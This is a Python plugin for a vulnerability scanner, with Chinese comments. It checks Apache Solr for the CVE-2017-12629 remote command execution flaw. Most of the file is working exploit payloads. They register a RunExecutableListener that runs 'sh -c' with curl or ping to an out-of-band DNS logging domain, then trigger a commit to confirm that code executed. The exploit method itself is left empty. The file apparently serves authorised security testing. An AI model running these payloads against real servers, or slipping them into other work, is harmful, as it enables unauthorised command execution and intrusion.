#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Solr 远程命令执行
    CVE-2017-12629
        Payload: https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/

7.1.0之前版本总共爆出两个漏洞: XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)
    二者可以连接成利用链, 编号均为CVE-2017-12629
'''

from payloads.ApacheSolr.tool_enable import enable
from lib.initial.config import config
from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        random_name = random_md5()
        self.payloads = [
            {
                'path': 'solr/{DBNAME}/config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "curl DNSDOMAIN"]}}',
                'path-2': 'solr/{DBNAME}/update',
                'data-2': '[{"id":"test"}]',
            },
            {
                'path': 'solr/{DBNAME}/config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping -c 4 DNSDOMAIN"]}}',
                'path-2': 'solr/{DBNAME}/update',
                'data-2': '[{"id":"test"}]',
            },
            {
                'path': 'solr/{DBNAME}/config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping DNSDOMAIN"]}}',
                'path-2': 'solr/{DBNAME}/update',
                'data-2': '[{"id":"test"}]',
            },
            {
                'path': 'config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "curl DNSDOMAIN"]}}',
                'path-2': 'update',
                'data-2': '[{"id":"test"}]',
            },
            {
                'path': 'config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping -c 4 DNSDOMAIN"]}}',
                'path-2': 'update',
                'data-2': '[{"id":"test"}]',
            },
            {
                'path': 'config',
                'data': '{"add-listener":{"event":"postCommit","name":"' + random_name + '","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping DNSDOMAIN"]}}',
                'path-2': 'update',
                'data-2': '[{"id":"test"}]',
            }
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '60491ea49ab435a2cc1acb7aa93e3409'

        vul_info = {
            'app_name': 'ApacheSolr',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2017-12629',
        }

        headers = {
            'Content-Type': 'application/json'
        }

        if not config.get('Solr-db_name'):
            enable(client)                      # * 如果没有Solr数据库名称, 则获取
        if not config.get('Solr-db_name'):
            return None                         # * 如果还是没有, 则退出

        dnslog_md = random_md5()                                    # * 随机md5值, 8位
        dnslog_domain = dnslog_md + '.' + dns.domain(sessid)        # * dnslog/ceye域名

        for payload in self.payloads:
            path = payload['path'].format(DBNAME=config.get('Solr-db_name'))
            data = payload['data'].replace('DNSDOMAIN', dnslog_domain)

            res = client.request(
                'post',
                path,
                data=data,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue
            
            if ('"WARNING":"This response format is experimental.  It is likely to change in the future."' in res.text):
                path_2 = payload['path-2'].format(DBNAME=config.get('Solr-db_name'))
                data_2 = payload['data-2']
                
                res2 = client.request(
                    'post',
                    path_2,
                    data=data_2, 
                    headers=headers,
                    allow_redirects=False,
                    vul_info=vul_info
                )
                if res2 is None:
                    continue

                if (dns.result(dnslog_md, sessid, 10)):
                    results = {
                        'Target': res.request.url,
                        'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                        'Request': res,
                        'Request-2': res2
                    }
                    return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
